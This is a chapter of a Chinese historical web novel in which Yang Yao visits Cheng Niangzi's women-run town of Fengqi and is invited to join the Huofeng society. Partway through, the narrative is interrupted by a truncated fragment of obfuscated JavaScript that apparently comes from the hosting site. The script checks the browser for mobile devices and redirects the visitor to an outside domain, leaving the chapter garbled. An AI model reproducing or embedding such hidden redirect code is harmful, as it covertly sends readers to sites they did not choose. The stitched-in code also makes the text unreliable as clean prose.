25. 第 25 章

    翌日,张姊胤喊杨么起床用早饭。


    下榻的的仍是“云来客栈”。昨夜见到程娘子,杨么急欲商谈正事,但“赤天圣母”只留下一句“明日再议”,轻飘飘的消失了,杨么只得跟着店小二又回到了镇上。


    晨光微熹,窗外仍笼罩在薄雾与寒霜之中,看不分明。早起的伙计在屋内收拾火盆,炭盆噼啪作响,火光映着斑驳的木梁,几缕青烟顺着窗缝袅袅而出。


    店小二殷勤的端上一桌汤汤水水,想起昨夜,杨么有些尴尬,也不管面前的一碗粘稠的糊糊都是些什么,只是学着张姊胤的模样,端起青瓷碗,闷头开吃。


    热气腾腾的白“面条”入嘴,却比寻常面条更为筋道,入口软糯咸鲜,腊肉的油脂香混着青菜的清甜,在味蕾中漾开,暖意顺着喉头流遍四肢。


    “这是什么面条?”杨么夹起一指宽的白“面条”好奇问道。


    张姊胤翻了个白眼,一副少见多怪的模样:“豆丝!绿豆和米浆做的!不是面粉,这都吃不出来?你个呆子。”


    杨么正欲动怒,左边的板凳上窜出来一个粉雕玉琢的小脑袋,摇头晃脑问道:“你就是断龙崖以百胜千、赶走官兵十万大军的杨么吗?”


    小姑娘头顶着一个冲天炮,看起来像年画上的福娃,憨态可掬,杨么心中那股无名火忽然就消了大半。


    坐下来后,也不端碗埋头苦干了,而是学着小明的姿势,正襟危坐,淡然道:“正是在下。”


    右边的板凳上也窜出来一个圆滚滚的小脑袋,扎着两个啾啾,用软软糯糯的童音问道:“你就是于万人军中两根筷子取‘翻江龙’姓名的杨么吗?”


    少女心中爽翻了,却仍要夹起一根豆丝,学着狗头军师的样子,慢条斯理的咀嚼完,方才云淡风轻道:“过去之事,不必再提。”


    总之就是优雅至极。


    在“冲天炮”和“双啾啾”两小只山呼海啸式的赞叹声,却传来一声不和谐的“切~~”。


    杨么抬头,正与张姊胤鄙夷的目光对上,一人放下了筷子,一人以尻骨悬空,就在大战一触即发之际,又一个圆滚滚的团子蹦上了饭桌,伸出胖乎乎的手指,指着二人发问:“那幺妹和姊胤姐,谁比较厉害?”


    当程娘子左等右等没等来人,亲自到“云来客栈”探情况时,已是日上三竿。


    一群无聊的食客将客栈正中央的桌子团团围住,打赌下注,而最里面闹得最欢的三小只在桌子上蹦跶:“再来一碗!”


    店小二在前厅和厨房间来来回回,手都要断了,若不是担心惊扰了灶王爷,真恨不得把灶台搬过来,给这二人现煮。


    杨么和张姊胤到底是在比什么呢?


    程娘子挤进去看,一时间竟无语凝噎,她们竟然在比赛吃豆丝。


    古有云,廉颇老矣,尚能饭否?


    能不能吃,素来是衡量一员猛将战力的依据,但这二人,一个吃得翻白眼,举筷颤颤巍巍,另一人吞咽如饮鸩酒,真正是暴殄天物、浪费粮食。


    程娘子当机立断,做主把二人拎出店,结束了这场荒唐的赌局。


    有等待许久的赌客不满道:“程娘子,你就让这两个丫头分个胜负嘛!”


    其他人也一同起哄,沸反盈天,原本一只脚已经迈出门槛的程娘子回头,怒极反笑:“这么闲,不如把所有赌资都充军?”


    起哄的俱是噤声,无人敢再言语,杨么和张姊胤也只能低着头,在树下乖乖挨训。


    “杨大都统千里迢迢亲赴云梦泽,不会是特意来吃豆丝的吧?”程娘子脸色稍霁,话里话外还是带着几分揶揄。


    杨么拱手作揖:“此次乃是有一公事相讨,一私事相求。”


    “公事不必提,私事说来听听吧。”


    程娘子的回复让杨么大吃一惊,正要解释,“赤天圣母”以不容分辩的口吻直接打断:


    “所谓的公事,不就是合力攻打江陵城?我断不可能和‘大圣爷爷’合作,上回‘芦中剑’苦苦哀求,我一时心软,差点酿成大错,绝不会再重蹈覆辙。”


    杨么想着钟执出发前的交待,加大筹码试探:“义父所图,并非小小一个江陵,也非一府一州一路,而是整个天下!若‘赤天圣母’愿相助,事成之后,别说是江陵,即使是整个荆湖北路,也可拱手相送。”


    程娘子冷哼一声:“话说得好听,不妨先把潭洲城作为定金送给我,那里风土富饶,好过这贫瘠的云梦泽千倍百倍,待我的人歇息够了,自当出兵相助。”


    杨么一时语塞,程娘子背过身去,缓缓道:“不管世人信不信,我所求的,与钟执和徐雁归并不相同。”


    那你到底想要什么?杨么感觉脑子里塞满了浆糊,有什么东西若隐若现,却愣是想不明白。


    尴尬的沉默中,程娘子蓦地转身揽过她的肩头,二人竟身高无差,温声道:“言语总是苍白无力,不如我带你去镇上转一圈,我有信心,你能理解我想要的是什么。”


    杨么半信半疑的跟着程娘子在“凤栖镇”晃荡,打铁铺里,抡锤的娘子手臂筋肉虬结,正在锻造改良版梨花枪;药铺门前,几名头戴素色纱巾医女正为路人把脉;绣坊门前,发间簪着一朵金丝缠枝牡丹的掌柜,正在整理货架上的绫罗绸缎,见到程娘子身边跟着个陌生面孔,还特意招呼道:


    “是新来的姐妹吗?要不要来块布,姐姐算你便宜点。”


    巧夺天工的绣娘,杨么见的多了,卖布的女掌柜倒是头一个,更不用说女医和女铁匠,她逐渐感觉脑子里那团浆糊有些头绪了。


    “若是春天来了,你还能看到妇人驾牛牵引曲辕犁耕种的场景,镇上的粮食基本能自给自足。”程娘子自豪的说道。


    走到镇中央的广场,几位老妇人正在玩投壶。她们围着矮几,几只竹制箭矢在铜壶口边沿跳跃,笑声惊飞了檐下的麻雀。


    一位老妪掷出一支箭,正中壶口,周围人立刻鼓起掌来:“张婶又赢了!”她得意地捋了捋鬓边的银丝,从袖中摸出几枚铜钱,给旁边笑眯眯看着的老翁,让他去旁边的茶肆买些米糕,分给众人。


    “杨姑娘看了有什么感想?”程娘子在旁驻足,老翁过来分米糕,程娘子笑着接过,分给了杨么和张姊胤。


    杨么啃着香香软软的米糕,决定还是诚恳以对:“有两点,其一,此处的女子,好像比其他地方更多些?”


    “非也,只是整日窝在厨房灶火打交道的,留在闺房绣花的女子少些,在外面抛头露面的女子多些,才让你产生了如此错觉。实际上,男子人数还要更多,不然你以为我那五千大军如何来?男子虽粗蛮蠢笨,但体力上终究还是比女子更胜一筹。”


    杨么细细看去,发现街角檐下的确男子并不少,老中青都有,只是他们远没有这些女子如此惹眼而又恣意,以至于她自然而然忽略了。


    35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489629|165171||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    >“在我这里,大富大贵不敢保证,但女子能换个活法。”


    “不是每个女子都能如你二人一般天赋异禀,可对于普通女子来说,不想相夫教子的,不甘心生计维系他人,不想一辈子都唯唯诺诺的,凤栖镇有她们的一方天地。”


    张姊胤大力点头,崇拜的看着程娘子,眼前的中年妇人,素净的脸上未施粉黛,既不明艳也不强壮,甚至带着一丝淡淡的疲惫,说出的话却是那么让人信服。


    杨么仿佛看到了祭台上鼓动人心的钟执,她心下一动,忽觉茅塞顿开,再次试图劝程娘子结盟:“‘赤天圣母’为女子遮风挡雨,实属高义,但义父正是与您志同道合之人,‘等富贵,均贫贱’之言,吾等牢记心中,不敢忘怀。”


    程娘子又是一声冷笑:“钟执的这个‘等富贵,均贫贱’,包括女人吗?”


    “当然,我就是最好的例子!而且义父曾立下宏愿,要渡尽苍生,平时吃菜茹素,生活简朴,不近女色,还善心收养了我们十二个兄弟姐妹,有男有女……”杨么急忙分辨,程娘子却笑出了眼泪。


    “幺妹,你有没有想过,儿郎长大出征,女儿嫁给高门大户,钟执的善心,真就这么纯粹吗?”


    杨么怔住了,程娘子的话涉及到了她从未想过的领域,中年女人继续道:


    “别的不提,你未曾想过,你的五姐虞滢滢,为何接连克死了三任丈夫?”


    “乡人皆知,她的每一任丈夫都是路过洞庭湖的行商,纳了一房美妾后,却身子逐渐绵软无力,畏寒畏冷,形如废人,还没来得及归乡,便一命呜呼。死相却又惊人的相似,都是咳出腥臭黑血,丹田枯竭,经脉尽断,煞是骇人。而那高额的遗产,在老家人赶来之前,已落入小妾娘家人之手……”


    “洞庭春晓”,杨么几乎立刻想到了这味毒药的名字,瞬间连呼吸都为之停滞。她想叫程娘子住嘴,想大吼这些都是谎言,想快马加鞭回去,向钟执问个明白!


    但是她忘不了,药庐中,桓夜霜一眼认出了“洞庭春晓”的症状以及之后的喃喃自语:“此毒多用于深院大户闺门宅斗……”


    她忘不了五姐出嫁时,小小的李子昂攥着罗裙哭喊:“说好了等我长大来娶你,你就不能不嫁人吗?”,虞滢滢的面无表情。


    “道不同,不相为谋,既然程娘子无意合作,也不必说些捕风捉影的事情,离间父女亲情,义父对我数年栽培,不是你这三言两语可以动摇的!”杨么强忍着心中迸发的千头万绪,义正言辞谴责。


    “你还没说第二点呢。”程娘子丝毫不在意她的冒犯,嘴角反倒勾起了一抹玩味的笑容。


    杨么叹了口气,心知今日很难从容而退了:“第二件事,便是这整座镇子都是‘赤天圣母’的藏身之地,‘火凤社’的成员也皆汇集在此。”


    当日安乡县胜券在握之时,程娘子可以为了“火凤社”成员的安危退兵,又经过今日的见闻,杨么如何不懂,程娘子真正想要的,就是守护这座镇子,守护她的“桃花源”。


    而如此手腕人物,竟然将软肋亮给她看,便绝不会轻易让她杨么带这个秘密活着走出去。


    “不错,还算有些眼力”程娘子摸了摸杨么的头,笑道:“那么你便知我意--”


    杨么屏住呼吸,手摸向腰间的“万仞”,又因为下一句话停住,尴尬的悬在空中。


    “你要不要考虑加入‘火凤社’?”